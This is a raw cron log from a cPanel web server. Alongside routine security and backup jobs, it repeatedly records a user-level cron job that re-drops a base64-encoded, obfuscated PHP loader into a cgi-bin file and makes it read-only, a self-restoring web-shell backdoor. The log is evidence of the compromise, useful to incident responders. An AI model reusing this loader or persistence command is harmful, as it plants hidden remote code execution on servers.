Sep 12 12:54:01 server CROND[756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:54:01 server CROND[757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:55:01 server CROND[1194]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 12:55:01 server CROND[1195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:55:01 server CROND[1201]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:55:01 server CROND[1200]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:55:01 server CROND[1205]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 12:55:01 server CROND[1202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:55:01 server CROND[1204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:56:01 server CROND[2189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:56:01 server CROND[2190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:56:01 server CROND[2191]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:57:01 server CROND[2568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:57:01 server CROND[2570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:57:01 server CROND[2569]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 12:57:01 server CROND[2571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:58:01 server CROND[2978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 12:58:01 server CROND[2979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:58:01 server CROND[2980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:59:01 server CROND[3351]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:59:01 server CROND[3353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:59:01 server CROND[3352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:00:01 server CROND[3726]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:00:01 server CROND[3728]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 13:00:01 server CROND[3732]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 13:00:01 server CROND[3746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:00:01 server CROND[3749]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 13:00:01 server CROND[3752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:00:01 server CROND[3750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:00:01 server CROND[3751]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 13:00:01 server CROND[3755]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:01:01 server CROND[4660]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 13:01:01 server CROND[4661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:01:01 server CROND[4662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:01:01 server CROND[4663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:01:01 server run-parts(/etc/cron.hourly)[4660]: starting 0anacron
Sep 12 13:01:01 server run-parts(/etc/cron.hourly)[4681]: finished 0anacron
Sep 12 13:02:01 server CROND[5043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:02:01 server CROND[5044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:02:01 server CROND[5045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:03:01 server CROND[5443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:03:01 server CROND[5444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:03:01 server CROND[5445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:04:01 server CROND[5826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:04:01 server CROND[5827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:04:01 server CROND[5828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:05:01 server CROND[6217]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 13:05:01 server CROND[6219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:05:01 server CROND[6227]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:05:01 server CROND[6229]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:05:01 server CROND[6228]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 13:05:01 server CROND[6232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:05:01 server CROND[6225]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 13:05:01 server CROND[6226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo